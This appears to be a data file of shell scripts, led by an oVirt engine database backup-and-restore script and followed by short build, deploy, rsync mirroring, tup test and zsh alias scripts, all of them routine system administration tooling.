continue\n\t\tlocal dirname=\"$(dirname ${path})\"\n\t\tmkdir -p \"${tardir}/files/${dirname}\" || logdie \"Cannot create '${tardir}/files/${dirname}\"\n\t\tcp -a \"${path}\" \"${target}/${dirname}\" || logdie \"Cannot copy ${path} to ${target}/${dirname}\"\n\tdone || logdie \"Cannot read ${paths}\"\n}\n\nbackupDB() {\n\tlocal file=\"$1\"\n\tlocal user=\"$2\"\n\tlocal host=\"$3\"\n\tlocal port=\"$4\"\n\tlocal database=\"$5\"\n\tlocal pgdump_log=\"${TEMP_FOLDER}/pgdump.log\"\n\tPGPASSFILE=\"${MYPGPASS}\" pg_dump \\\n\t\t-E \"UTF8\" \\\n\t\t--disable-dollar-quoting \\\n\t\t--disable-triggers \\\n\t\t--format=p \\\n\t\t-w \\\n\t\t-U \"${user}\" \\\n\t\t-h \"${host}\" \\\n\t\t-p \"${port}\" \\\n\t\t\"${database}\" \\\n\t\t2> \"${pgdump_log}\" \\\n\t\t| bzip2 > \"${file}.bz2\" \\\n\t\t|| logdie \"bzip2 failed compressing the backup of database ${database}\"\n\n\tif [ -s \"${pgdump_log}\" ]; then\n\t\tcat \"${pgdump_log}\" >> \"${LOG}\"\n\t\tlogdie \"Database ${database} backup failed\"\n\tfi\n}\n\ndorestore() {\n\toutput \"Preparing to restore:\"\n\tif [ -r \"${ENGINE_UP_MARK}\" ]; then\n\t\tps \"$(cat ${ENGINE_UP_MARK})\" | grep -q 'ovirt-engine.py' &&\n\t\t\tlogdie \"Engine service is active - can not restore backup\"\n\tfi\n\tif [ -n \"${CHANGE_DB_CREDENTIALS}\" ]; then\n\t\toutput \"- Setting credentials for Engine database '${MY_DB_DATABASE}'\"\n\t\tsetMyEngineDBCredentials\n\t\tgeneratePgPass\n\t\tverifyConnection \"${ENGINE_DB_USER}\" \"${ENGINE_DB_HOST}\" \"${ENGINE_DB_PORT}\" \"${ENGINE_DB_DATABASE}\"\n\tfi\n\tif [ -n \"${CHANGE_DWH_DB_CREDENTIALS}\" ]; then\n\t\toutput \"- Setting credentials for DWH database '${MY_DWH_DB_DATABASE}'\"\n\t\tsetMyDwhDBCredentials\n\t\tgeneratePgPass\n\t\tverifyConnection \"${DWH_DB_USER}\" \"${DWH_DB_HOST}\" \"${DWH_DB_PORT}\" \"${DWH_DB_DATABASE}\"\n\tfi\n\tif [ -n \"${CHANGE_REPORTS_DB_CREDENTIALS}\" ]; then\n\t\toutput \"- Setting credentials for Reports database '${MY_REPORTS_DB_DATABASE}'\"\n\t\tsetMyReportsDBCredentials\n\t\tgeneratePgPass\n\t\tverifyConnection \"${REPORTS_DB_USER}\" \"${REPORTS_DB_HOST}\" \"${REPORTS_DB_PORT}\" \"${REPORTS_DB_DATABASE}\"\n\tfi\n\n\toutput \"- Unpacking file '${FILE}'\"\n\tlog \"Opening tarball ${FILE} to ${TEMP_FOLDER}\"\n\ttar -C \"${TEMP_FOLDER}\" -pSsxf \"${FILE}\" || logdie \"cannot open ${TEMP_FOLDER}\"\n\tlog \"Verifying md5\"\n\tverifymd5 \"${TEMP_FOLDER}\" \"md5sum\"\n\tlog \"Verifying version\"\n\tverifyVersion\n\n\toutput \"Restoring:\"\n\tif [ -n \"${SCOPE_FILES}\" ] ; then\n\t\toutput \"- Files\"\n\t\tlog \"Restoring files\"\n\t\trestoreFiles \"${BACKUP_PATHS}\"\n\tfi\n\n\tlog \"Reloading configuration\"\n\tmy_load_config\n\t[ -n \"${CHANGE_DB_CREDENTIALS}\" ] && setMyEngineDBCredentials\n\t[ -n \"${CHANGE_DWH_DB_CREDENTIALS}\" ] && setMyDwhDBCredentials\n\t[ -n \"${CHANGE_REPORTS_DB_CREDENTIALS}\" ] && setMyReportsDBCredentials\n\n\tlog \"Generating pgpass\"\n\tgeneratePgPass # Must run after configuration reload\n\tlog \"Verifying connection\"\n\t[ -n \"${SCOPE_ENGINE_DB}\" -a -n \"${ENGINE_DB_USER}\" ] && verifyConnection \"${ENGINE_DB_USER}\" \"${ENGINE_DB_HOST}\" \"${ENGINE_DB_PORT}\" \"${ENGINE_DB_DATABASE}\"\n\t[ -n \"${SCOPE_DWH_DB}\" -a -n \"${DWH_DB_USER}\" ] && verifyConnection \"${DWH_DB_USER}\" \"${DWH_DB_HOST}\" \"${DWH_DB_PORT}\" \"${DWH_DB_DATABASE}\"\n\t[ -n \"${SCOPE_REPORTS_DB}\" -a -n \"${REPORTS_DB_USER}\" ] && verifyConnection \"${REPORTS_DB_USER}\" \"${REPORTS_DB_HOST}\" \"${REPORTS_DB_PORT}\" \"${REPORTS_DB_DATABASE}\"\n\n\tif [ -n \"${SCOPE_ENGINE_DB}\" -a -n \"${ENGINE_DB_USER}\" ]; then\n\t\toutput \"- Engine database '\"${ENGINE_DB_DATABASE}\"'\"\n\t\tlog \"Restoring engine database backup at ${TEMP_FOLDER}/db/${DB_BACKUP_FILE_NAME}\"\n\t\trestoreDB \"${TEMP_FOLDER}/db/${DB_BACKUP_FILE_NAME}\" \"${ENGINE_DB_USER}\" \"${ENGINE_DB_HOST}\" \"${ENGINE_DB_PORT}\" \"${ENGINE_DB_DATABASE}\" \"${ORIG_DB_USER}\"\n\tfi\n\tif [ -n \"${SCOPE_DWH_DB}\" -a -n \"${DWH_DB_USER}\" ]; then\n\t\toutput \"- DWH database '\"${DWH_DB_DATABASE}\"'\"\n\t\tlog \"Restoring dwh database backup at ${TEMP_FOLDER}/db/${DWHDB_BACKUP_FILE_NAME}\"\n\t\trestoreDB \"${TEMP_FOLDER}/db/${DWHDB_BACKUP_FILE_NAME}\" \"${DWH_DB_USER}\" \"${DWH_DB_HOST}\" \"${DWH_DB_PORT}\" \"${DWH_DB_DATABASE}\" \"${ORIG_DWH_DB_USER}\"\n\tfi\n\tif [ -n \"${SCOPE_REPORTS_DB}\" -a -n \"${REPORTS_DB_USER}\" ]; then\n\t\toutput \"- Reports database '\"${REPORTS_DB_DATABASE}\"'\"\n\t\tlog \"Restoring REPORTS database backup at ${TEMP_FOLDER}/db/${REPORTSDB_BACKUP_FILE_NAME}\"\n\t\trestoreDB \"${TEMP_FOLDER}/db/${REPORTSDB_BACKUP_FILE_NAME}\" \"${REPORTS_DB_USER}\" \"${REPORTS_DB_HOST}\" \"${REPORTS_DB_PORT}\" \"${REPORTS_DB_DATABASE}\" \"${ORIG_REPORTS_DB_USER}\"\n\tfi\n\t[ -n \"${CHANGE_DB_CREDENTIALS}\" ] && changeEngineDBConf\n\t[ -n \"${CHANGE_DWH_DB_CREDENTIALS}\" ] && changeDwhDBConf\n\t[ -n \"${CHANGE_REPORTS_DB_CREDENTIALS}\" ] && changeReportsDBConf\n\toutput \"You should now run engine-setup.\"\n}\n\nverifyConnection() {\n\tlocal user=\"$1\"\n\tlocal host=\"$2\"\n\tlocal port=\"$3\"\n\tlocal database=\"$4\"\n\tPGPASSFILE=\"${MYPGPASS}\" psql \\\n\t\t-w \\\n\t\t-U \"${user}\" \\\n\t\t-h \"${host}\" \\\n\t\t-p \"${port}\" \\\n\t\t-d \"${database}\" \\\n\t\t-c \"select 1\" \\\n\t\t>> \"${LOG}\" 2>&1 \\\n\t\t|| logdie \"Can't connect to database '${database}'. Please see '${0} --help'.\"\n\n\tPGPASSFILE=\"${MYPGPASS}\" psql \\\n\t\t-w \\\n\t\t-t \\\n\t\t-U \"${user}\" \\\n\t\t-h \"${host}\" \\\n\t\t-p \"${port}\" \\\n\t\t-d \"${database}\" \\\n\t\t-c \"show lc_messages\" \\\n\t\t2> /dev/null \\\n\t\t| grep -q '^ *en_US.UTF-8$' \\\n\t\t|| logdie \"lc_messages is set to an unsupported value in postgresql.conf. Please set it to en_US.UTF-8 and restart postgresql.\"\n\n\tlocal IGNORED_PATTERN=$(cat << __EOF | tr '\\012' '|' | sed 's/|$//'\n^create extension\n^create procedural language\n__EOF\n)\n\n\tPGPASSFILE=\"${MYPGPASS}\" pg_dump \\\n\t\t-U \"${user}\" \\\n\t\t-h \"${host}\" \\\n\t\t-p \"${port}\" \\\n\t\t-s \\\n\t\t\"${database}\" | \\\n\t\tgrep -Evi \"${IGNORED_PATTERN}\" | \\\n\t\tgrep -iq '^create' && \\\n\t\tlogdie \"Database '${database}' is not empty\"\n}\n\nverifyVersion() {\n\tlocal installed_version=\"$(echo ${PACKAGE_VERSION} | cut -d . -f 1-2)\"\n\tlocal backup_version=\"$(cat ${TEMP_FOLDER}/version | cut -d . -f 1-2)\"\n\t[ \"${installed_version}\" == \"${backup_version}\" ] \\\n\t\t|| logdie \"Backup version '${backup_version}' doesn't match installed version\"\n}\n\nbz_cat() {\n\tfile=\"$1\"\n\n\tif [ -f \"${file}\" ]; then\n\t\tcat < \"${file}\"\n\telif [ -f \"${file}.bz2\" ]; then\n\t\tbzcat < \"${file}.bz2\"\n\telse\n\t\tlogdie \"${file} and ${file}.bz2 not found\"\n\tfi\n}\n\nrestoreDB() {\n\tlocal backupfile=\"$1\"\n\tlocal user=\"$2\"\n\tlocal host=\"$3\"\n\tlocal port=\"$4\"\n\tlocal database=\"$5\"\n\tlocal orig_user=\"$6\"\n\tlog \"restoreDB: backupfile ${backupfile} user ${user} host ${host} port ${port} database ${database} orig_user ${orig_user}\"\n\tlocal psqllog=\"${TEMP_FOLDER}/psql-restore-log\"\n\tbz_cat \"${backupfile}\" | \\\n\t\tPGPASSFILE=\"${MYPGPASS}\" psql \\\n\t\t-w \\\n\t\t-U \"${user}\" \\\n\t\t-h \"${host}\" \\\n\t\t-p \"${port}\" \\\n\t\t-d \"${database}\" \\\n\t\t> \"${psqllog}\" 2>&1 \\\n\t\t|| logdie \"Database ${database} restore failed\"\n\n\tcat \"${psqllog}\" >> \"${LOG}\" 2>&1 \\\n\t\t|| logdie \"Failed to append psql log to restore log\"\n\n\tlocal IGNORED_ERRORS=$(cat << __EOF | egrep -v '^$|^#' | tr '\\012' '|' | sed 's/|$//'\nlanguage \"plpgsql\" already exists\nmust be owner of language plpgsql\nmust be owner of extension plpgsql\n#\n# older versions of dwh used uuid-ossp, which requires special privs,\n# is not used anymore, and emits the following errors for normal users.\npermission denied for language c\nfunction public.uuid_generate_v1\\(\\) does not exist\nfunction public.uuid_generate_v1mc\\(\\) does not exist\nfunction public.uuid_generate_v3\\(uuid, text\\) does not exist\nfunction public.uuid_generate_v4\\(\\) does not exist\nfunction public.uuid_generate_v5\\(uuid, text\\) does not exist\nfunction public.uuid_nil\\(\\) does not exist\nfunction public.uuid_ns_dns\\(\\) does not exist\nfunction public.uuid_ns_oid\\(\\) does not exist\nfunction public.uuid_ns_url\\(\\) does not exist\nfunction public.uuid_ns_x500\\(\\) does not exist\n# Ignore error when trying to set owner to changed user\nrole \"$orig_user\" does not exist\n__EOF\n)\n\tlocal numerrors=$(grep 'ERROR: ' \"${psqllog}\" | grep -Ev \"${IGNORED_ERRORS}\" | wc -l)\n\t[ ${numerrors} -ne 0 ] && logdie \"Errors while restoring database ${database}\"\n}\n\nrestoreFiles() {\n\tlocal paths=\"$1\"\n\techo \"${paths}\" | while read -r path; do\n\t\tlocal dirname=\"$(dirname ${path})\"\n\t\tlocal backup=\"${TEMP_FOLDER}/files/${path}\"\n\t\t[ -e \"${backup}\" ] || continue\n\t\t[ -d \"${dirname}\" ] || mkdir -p \"${dirname}\" || logdie \"Cannot create directory ${dirname}\"\n\t\tcp -a \"${backup}\" \"${dirname}\" || logdie \"Cannot copy '${backup}' to '${dirname}'\"\n\t\tif selinuxenabled; then\n\t\t\trestorecon -R \"${path}\" || logdie \"Failed setting selinux context for ${path}\"\n\t\tfi\n\tdone || logdie \"Cannot read ${paths}\"\n}\n\nsetMyEngineDBCredentials() {\n\tlocal options\n\n\t[ \"${MY_DB_SECURED}\" = \"True\" ] && \\\n\t\toptions=\"${options}&ssl=true\"\n\t[ \"${MY_DB_SECURED_VALIDATION}\" != \"True\" ] && \\\n\t\toptions=\"${options}&sslfactory=org.postgresql.ssl.NonValidatingFactory\"\n\n\t[ -n \"${options}\" ] && options=\"${options#&}\"\n\n\tlocal encpass=\"$(sed 's;\\([\"\\$]\\);\\\\\\1;g' << __EOF__\n${MY_DB_PASSWORD}\n__EOF__\n)\"\n\n\tMY_DB_CREDS=\"$(cat << __EOF__\nENGINE_DB_HOST=\"${MY_DB_HOST}\"\nENGINE_DB_PORT=\"${MY_DB_PORT}\"\nENGINE_DB_USER=\"${MY_DB_USER}\"\nENGINE_DB_PASSWORD=\"${}\"\nENGINE_DB_DATABASE=\"${MY_DB_DATABASE}\"\nENGINE_DB_SECURED=\"${MY_DB_SECURED}\"\nENGINE_DB_SECURED_VALIDATION=\"${MY_DB_SECURED_VALIDATION}\"\nENGINE_DB_DRIVER=\"org.postgresql.Driver\"\nENGINE_DB_URL=\"jdbc:postgresql://\\${ENGINE_DB_HOST}:\\${ENGINE_DB_PORT}/\\${ENGINE_DB_DATABASE}?${options}\"\n__EOF__\n)\"\n\teval \"${MY_DB_CREDS}\"\n}\n\nsetMyDwhDBCredentials() {\n\tlocal options\n\n\t[ \"${MY_DWH_DB_SECURED}\" = \"True\" ] && \\\n\t\toptions=\"${options}&ssl=true\"\n\t[ \"${MY_DWH_DB_SECURED_VALIDATION}\" != \"True\" ] && \\\n\t\toptions=\"${options}&sslfactory=org.postgresql.ssl.NonValidatingFactory\"\n\n\t[ -n \"${options}\" ] && options=\"${options#&}\"\n\n\tlocal encpass=\"$(sed 's;\\([\"\\$]\\);\\\\\\1;g' << __EOF__\n${MY_DWH_DB_PASSWORD}\n__EOF__\n)\"\n\n\tMY_DWH_DB_CREDS=\"$(cat << __EOF__\nDWH_DB_HOST=\"${MY_DWH_DB_HOST}\"\nDWH_DB_PORT=\"${MY_DWH_DB_PORT}\"\nDWH_DB_USER=\"${MY_DWH_DB_USER}\"\nDWH_DB_PASSWORD=\"${encpass}\"\nDWH_DB_DATABASE=\"${MY_DWH_DB_DATABASE}\"\nDWH_DB_SECURED=\"${MY_DWH_DB_SECURED}\"\nDWH_DB_SECURED_VALIDATION=\"${MY_DWH_DB_SECURED_VALIDATION}\"\nDWH_DB_DRIVER=\"org.postgresql.Driver\"\nDWH_DB_URL=\"jdbc:postgresql://\\${DWH_DB_HOST}:\\${DWH_DB_PORT}/\\${DWH_DB_DATABASE}?${options}\"\n__EOF__\n)\"\n\teval \"${MY_DWH_DB_CREDS}\"\n}\n\nsetMyReportsDBCredentials() {\n\tlocal options\n\n\t[ \"${MY_REPORTS_DB_SECURED}\" = \"True\" ] && \\\n\t\toptions=\"${options}&ssl=true\"\n\t[ \"${MY_REPORTS_DB_SECURED_VALIDATION}\" != \"True\" ] && \\\n\t\toptions=\"${options}&sslfactory=org.postgresql.ssl.NonValidatingFactory\"\n\n\t[ -n \"${options}\" ] && options=\"${options#&}\"\n\n\tlocal encpass=\"$(sed 's;\\([\"\\$]\\);\\\\\\1;g' << __EOF__\n${MY_REPORTS_DB_PASSWORD}\n__EOF__\n)\"\n\n\tMY_REPORTS_DB_CREDS=\"$(cat << __EOF__\nREPORTS_DB_HOST=\"${MY_REPORTS_DB_HOST}\"\nREPORTS_DB_PORT=\"${MY_REPORTS_DB_PORT}\"\nREPORTS_DB_USER=\"${MY_REPORTS_DB_USER}\"\nREPORTS_DB_PASSWORD=\"${encpass}\"\nREPORTS_DB_DATABASE=\"${MY_REPORTS_DB_DATABASE}\"\nREPORTS_DB_SECURED=\"${MY_REPORTS_DB_SECURED}\"\nREPORTS_DB_SECURED_VALIDATION=\"${MY_REPORTS_DB_SECURED_VALIDATION}\"\nREPORTS_DB_DRIVER=\"org.postgresql.Driver\"\nREPORTS_DB_URL=\"jdbc:postgresql://\\${REPORTS_DB_HOST}:\\${REPORTS_DB_PORT}/\\${REPORTS_DB_DATABASE}?${options}\"\n__EOF__\n)\"\n\teval \"${MY_REPORTS_DB_CREDS}\"\n}\n\nchangeEngineDBConf() {\n\tlocal conf=\"${ENGINE_ETC}/engine.conf.d/10-setup-database.conf\"\n\t[ -f \"${conf}\" ] || logdie \"Can not find ${conf}\"\n\n\tlocal backup=\"${conf}.$(date +\"%Y%m%d%H%M%S\")\"\n\tlog \"Backing up ${conf} to ${backup}\"\n\tcp -a \"${conf}\" \"${backup}\" || die \"Failed to backup ${conf}\"\n\toutput \"Rewriting ${conf}\"\n\tprintf \"%s\\n\" \"${MY_DB_CREDS}\" > \"${conf}\"\n}\n\nchangeDwhDBConf() {\n\tlocal conf=\"${DWH_CONFIG}.d/10-setup-database.conf\"\n\t[ -f \"${conf}\" ] || logdie \"Can not find ${conf}\"\n\n\tlocal backup=\"${conf}.$(date +\"%Y%m%d%H%M%S\")\"\n\tlog \"Backing up ${conf} to ${backup}\"\n\tcp -a \"${conf}\" \"${backup}\" || die \"Failed to backup ${conf}\"\n\toutput \"Rewriting ${conf}\"\n\tif [ -z \"${MY_DB_CREDS}\" ]; then\n\t\tMY_DB_HOST=\"${ENGINE_DB_HOST}\"\n\t\tMY_DB_PORT=\"${ENGINE_DB_PORT}\"\n\t\tMY_DB_USER=\"${ENGINE_DB_USER}\"\n\t\tMY_DB_PASSWORD=\"${ENGINE_DB_PASSWORD}\"\n\t\tMY_DB_DATABASE=\"${ENGINE_DB_DATABASE}\"\n\t\tMY_DB_SECURED=\"${ENGINE_DB_SECURED}\"\n\t\tMY_DB_SECURED_VALIDATION=\"${ENGINE_DB_SECURED_VALIDATION}\"\n\t\tsetMyEngineDBCredentials\n\tfi\n\tprintf \"%s\\n\" \"${MY_DB_CREDS}\" > \"${conf}\"\n\tprintf \"%s\\n\" \"${MY_DWH_DB_CREDS}\" >> \"${conf}\"\n}\n\nchangeReportsDBConf() {\n\tlocal conf=\"${JASPER_PROPERTIES}\"\n\t[ -f \"${conf}\" ] || logdie \"Can not find ${conf}\"\n\n\tlocal backup=\"${conf}.$(date +\"%Y%m%d%H%M%S\")\"\n\tlog \"Backing up ${conf} to ${backup}\"\n\tcp -a \"${conf}\" \"${backup}\" || die \"Failed to backup ${conf}\"\n\toutput \"Rewriting ${conf}\"\n\tcat << __EOF__ > \"${conf}\"\n# File locations\nreportsHome=/var/lib/ovirt-engine-reports\nreportsWar=/var/lib/ovirt-engine-reports/ovirt-engine-reports.war\ncurrentConf=/var/lib/ovirt-engine-reports/build-conf\nappServerDir=/var/lib/ovirt-engine-reports\n\nappServerType=jboss7\n\n# database type\ndbType=postgresql\n\n# database location and connection settings\ndbHost=${REPORTS_DB_HOST}\ndbPort=${REPORTS_DB_PORT}\ndbUsername=${REPORTS_DB_USER}\ndbPassword=${REPORTS_DB_PASSWORD}\njs.dbName=${REPORTS_DB_DATABASE}\n\n# web app name\n# (set one of these to deploy to a non-default war file name)\nwebAppNameCE=ovirt-engine-reports\nwebAppNamePro=ovirt-engine-reports\n\n# Database\nmaven.jdbc.groupId=postgresql\nmaven.jdbc.artifactId=postgresql\nmaven.jdbc.version=9.2-1002.jdbc4\ndeployJDBCDriver=false\n__EOF__\n}\n\ngeneratePgPass() {\n\tlocal password=\"${}\"\n\tlocal dwh_password=\"${}\"\n\tlocal reports_password=\"${}\"\n\tMYPGPASS=\"${TEMP_FOLDER}/.pgpass\"\n\n\ttouch \"${MYPGPASS}\" || logdie \"Can't touch ${MYPGPASS}\"\n\tchmod 0600 \"${MYPGPASS}\" || logdie \"Can't chmod ${MYPGPASS}\"\n\n\t#\n\t# we need client side psql library\n\t# version as at least in rhel for 8.4\n\t# the password within pgpassfile is\n\t# not escaped.\n\t# the simplest way is to checkout psql\n\t# utility version.\n\t#\n\tif ! psql -V | grep -q ' 8\\.'; then\n\t\tpassword=\"$(printf \"%s\" \"${password}\" | sed -e 's/\\\\/\\\\\\\\/g' -e 's/:/\\\\:/g')\"\n\t\tdwh_password=\"$(printf \"%s\" \"${dwh_password}\" | sed -e 's/\\\\/\\\\\\\\/g' -e 's/:/\\\\:/g')\"\n\t\treports_password=\"$(printf \"%s\" \"${reports_password}\" | sed -e 's/\\\\/\\\\\\\\/g' -e 's/:/\\\\:/g')\"\n\tfi\n\n\tcat > \"${MYPGPASS}\" << __EOF__\n${ENGINE_DB_HOST}:${ENGINE_DB_PORT}:${ENGINE_DB_DATABASE}:${ENGINE_DB_USER}:${password}\n__EOF__\n\t[ -n \"${DWH_DB_USER}\" ] && cat >> \"${MYPGPASS}\" << __EOF__\n${DWH_DB_HOST}:${DWH_DB_PORT}:${DWH_DB_DATABASE}:${DWH_DB_USER}:${dwh_password}\n__EOF__\n\t[ -n \"${REPORTS_DB_USER}\" ] && cat >> \"${MYPGPASS}\" << __EOF__\n${REPORTS_DB_HOST}:${REPORTS_DB_PORT}:${REPORTS_DB_DATABASE}:${REPORTS_DB_USER}:${reports_password}\n__EOF__\n}\n\nlog() {\n\tlocal m=\"$1\"\n\tlocal date=\"$(date '+%Y-%m-%d %H:%M:%S')\"\n\tlocal pid=\"$$\"\n\tprintf \"%s\\n\" \"${date} ${pid}: ${m}\" >> \"${LOG}\"\n}\n\nlogdie() {\n\tlocal m=\"$1\"\n\tlog \"FATAL: ${m}\"\n\tdie \"${m}\"\n}\n\noutput() {\n\tlocal m=\"$1\"\n\tlog \"${m}\"\n\tprintf \"%s\\n\" \"${m}\"\n}\n\nreaddbpassword() {\n\tlocal app=\"$1\"\n\t(\n\t\tcleanup() {\n\t\t\t[ -n \"${STTY_ORIG}\" ] && stty \"${STTY_ORIG}\"\n\t\t}\n\n\t\tSTTY_ORIG=\n\t\ttrap cleanup 0\n\t\t[ -t 0 ] || die \"Standard input is not a terminal\"\n\t\tSTTY_ORIG=\"$(stty -g)\"\n\t\tstty -echo || die \"Failed to disable terminal input echo\"\n\t\techo -n \"Enter ${app} database password: \" >&2\n\t\tread -r dbpass\n\t\techo >&2\n\t\tcat << __EOF__\n${dbpass}\n__EOF__\n\t)\n}\n\n## Main\n\nmy_load_config\n\n# Do this in function so we do not lose $@\nparseArgs \"$@\"\nverifyArgs\n\nTEMP_FOLDER=\"$(mktemp -d -t engine-backup.XXXXXXXXXX)\" || logdie \"Can't create temporary directory\"\n\nlog \"Start of engine-backup mode ${MODE} scope ${SCOPE} file ${FILE}\"\n\ngeneratePgPass\ndo${MODE}\noutput \"Done.\""} {"text": "g++ 3164894955_9165933890_7293382981_efficient.cpp -o efficient\n./efficient input.txt"} {"text": "seanthegeek/easyad-web\n#!/bin/bash\n\npkill gunicorn >/dev/null 2>&1\ncd /home/easyad/easyad-web\n/home/easyad/virtualenvs/adapi/bin/gunicorn -c gunicorn_config.py adapi:app"} {"text": "image/syncer-opt/run.sh\n#!/bin/bash\n\n# Environment Variables\n# - MIRROR_NAME\n# - SERVER_SVC_NAME\n\nmirror_name=${MIRROR_NAME}\ndest_name=\"$(yq r /mirrors/${mirror_name}.yaml 'destination')\"\nrsync_uris=\"$(yq r /mirrors/${mirror_name}.yaml 'rsync.*')\"\n\ntemp_script=$(mktemp)\ncat << EOF | tee ${temp_script}\n#!/bin/bash\nset -eu\nrc=1\nfor uri in \\$(echo \"${rsync_uris}\"); do\n echo \\${uri}\n rsync -avz \\${uri} \"\\$HOME/${dest_name}\"\n rc=\\$?\n [ ! \\$rc -eq 0 ] || break\ndone\n[ \\$rc -eq 0 ] && echo \"SUCCESS\" || echo \"FAIL: \\$rc\"\nEOF\n\nscp -o StrictHostKeyChecking=accept-new -i /ssh-private/private \"${temp_script}\" \"updater@${SERVER_SVC_NAME}:${temp_script}\"\nssh -o StrictHostKeyChecking=accept-new -i /ssh-private/private updater@${SERVER_SVC_NAME} \"chmod +x ${temp_script} && ${temp_script}\""} {"text": "#! /bin/sh -e\n# tup - A file-based build system\n#\n# Copyright (C) 2011-2018 <>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2 as\n# published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\n# Make sure we can export environment variables.\n\nexport FOO=\"hey\"\n. ./tup.sh\ncheck_no_windows shell\n\ncat > Tupfile << HERE\n: |> sh ok.sh > %o |> out.txt\nHERE\ncat > ok.sh << HERE\necho \"foo is \\$FOO\"\nHERE\nupdate\necho 'foo is ' | diff - out.txt\n\ncat > Tupfile << HERE\nexport FOO\n: |> sh ok.sh > %o |> out.txt\nHERE\ntup touch Tupfile\nupdate\necho 'foo is hey' | diff - out.txt\n\nexport FOO=\"yo\"\nupdate\necho 'foo is yo' | diff - out.txt\n\ncat > Tupfile << HERE\nexport FOO\n: |> ^ run script > %o^ sh ok.sh > %o |> out.txt\nHERE\ntup touch Tupfile\nupdate\necho 'foo is yo' | diff - out.txt\n\ntup_dep_exist . ok.sh . 'sh ok.sh > out.txt'\ntup_dep_no_exist $ FOO 0 .\ntup_dep_exist $ FOO . 'sh ok.sh > out.txt'\n\ncat > Tupfile << HERE\n: |> ^ run script > %o^ sh ok.sh > %o |> out.txt\nHERE\ntup touch Tupfile\nupdate\necho 'foo is ' | diff - out.txt\n\n# Have to modify the environment variable before tup removes it.\nexport FOO=\"latest\"\nupdate\ntup_object_no_exist $ FOO\n\neotup"} {"text": "deploy.sh\n#!/bin/sh\n\nrm -r dist/*\nnpm run dist || exit\n\ncd api\nJEKYLL_ENV=production bundle exec jekyll build --config _config.yml,_config-production.yml || exit\ncd ..\nmkdir dist/api\nmv api/_site/beta-mixin-message api/_site/alpha-mixin-network api/_site/assets api/_site/scripts api/_site/images api/_site/search api/_site/favicon.ico api/_site/apple-touch-icon.png api/_site/launcher.png api/_site/robots.txt api/_site/index.html dist/api/\n\nrsync -rcv dist/* one@mixin-developers:html/"} {"text": "install_ansible_requirement.sh\n#!/bin/bash\n\nansible-galaxy collection install -r requirements.yml"} {"text": "#!/usr/bin/env bash\n\ncrystal run ./src/generator/tlobjects.cr"} {"text": "0\n# =======================================================\n# Disable correction.\n# =======================================================\nalias ack='nocorrect ack'\nalias cd='nocorrect cd'\nalias cp='nocorrect cp'\nalias ebuild='nocorrect ebuild'\nalias gcc='nocorrect gcc'\nalias gist='nocorrect gist'\nalias grep='nocorrect grep'\nalias heroku='nocorrect heroku'\nalias ln='nocorrect ln'\nalias man='nocorrect man'\nalias mkdir='nocorrect mkdir'\nalias mv='nocorrect mv'\nalias mysql='nocorrect mysql'\nalias rm='nocorrect rm'\n\n# =======================================================\n# Disable globbing.\n# =======================================================\nalias fc='noglob fc'\nalias find='noglob find'\nalias ftp='noglob ftp'\nalias history='noglob history'\nalias locate='noglob locate'\nalias rake='noglob rake'\nalias rsync='noglob rsync'\nalias scp='noglob scp'\nalias sftp='noglob sftp'\n\n# =======================================================\n# Define general aliases.\n# =======================================================\nalias _='sudo'\nalias b='${(z)BROWSER}'\nalias cp=\"${aliases[cp]:-cp} -i\"\nalias e='${(z)VISUAL:-${(z)EDITOR}}'\nalias ln=\"${aliases[ln]:-ln} -i\"\nalias mkdir=\"${aliases[mkdir]:-mkdir} -p\"\nalias mv=\"${aliases[mv]:-mv} -i\"\nalias p='${(z)PAGER}'\nalias po='popd'\nalias pu='pushd'\nalias rm=\"${aliases[rm]:-rm} -i\"\nalias type='type -a'\n\n# =======================================================\n# Basic aliases - should be cross platform or override below.\n# =======================================================\nalias grep=\"grep --color=auto\"\nalias pgrep='ps aux | grep -v grep | grep'\nalias ss=\"open -a 'screen sharing'\"\nalias ls='ls -GF'\nalias rm='nocorrect rm'\nalias rvmnew='rvm --create --ruby-version'\nalias rvmc='rvm current'\nalias rvmempty='rvm --force gemset empty'\nalias be='bundle exec'\n\n# =======================================================\n# Setup to use a fancy top if available\n# =======================================================\nif (( $+commands[htop] )); then\n alias top='htop'\nelse\n alias topc='top -o cpu'\n alias topm='top -o vsize'\nfi\n\n# =======================================================\n# Serves a directory via HTTP.\n# =======================================================\nalias http-serve='python -m SimpleHTTPServer'\n\n# =======================================================\n# Displays user owned processes status.\n# =======================================================\nfunction psu {\n ps -U \"${1:-$USER}\" -o 'pid,%cpu,%mem,command' \"${(@)argv[2,-1]}\"\n}\n\n# =======================================================\n# Override the basic aliases if we have GNU coreutils available\n# `brew install coreutils` to get these...\n# =======================================================\nif $(gls &>/dev/null)\nthen\n alias ls=\"gls -F --color\"\n alias l=\"gls -lAh --color\"\n alias ll=\"gls -l --color\"\n alias la='gls -A --color'\nfi\n\n# =======================================================\n# Linux specific aliases / fixes.\n# =======================================================\nif [[ \"$(uname -s)\" == \"Linux\" ]]\nthen\n alias ls=\"ls -GF --color\"\n alias ge='vi'\nfi\n\n# =======================================================\n# OSX specific aliases / fixes.\n# =======================================================\nif [[ \"$(uname -s)\" == \"Darwin\" ]]\nthen\n\n if (( $+commands[htop] )); then\n alias top='sudo htop'\n fi\n\n alias vim=\"mvim -v\"\n alias ge='mvim --remote-tab-silent'\n\n # Custom Apple Silicon aliases to support Rosetta2 brew\n if [[ \"$(uname -m)\" == \"arm64\" ]]; then\n alias ibrew='arch -x86_64 /usr/local/bin/brew'\n fi\nfi"} {"text": "deploy-release.sh\n#!/bin/bash\n\nREMOTE_SERVER=\"10.32.213.65\"\nREMOTE_LOCATION=\"/home/ankurjain.v/visual-tail\"\nLOCAL_LOCATION=\"/Users/ankurjain.v/Downloads\"\nRELEASE_FILE=\"release_1.0.0.tar.gz\"\nDGREP_API=\"http://10.47.5.141/query\"\n\nssh -t $REMOTE_SERVER \"sudo apt-get install nginx; rm -rf ${REMOTE_LOCATION}; mkdir ${REMOTE_LOCATION}\"\nscp \"${LOCAL_LOCATION}/${RELEASE_FILE}\" 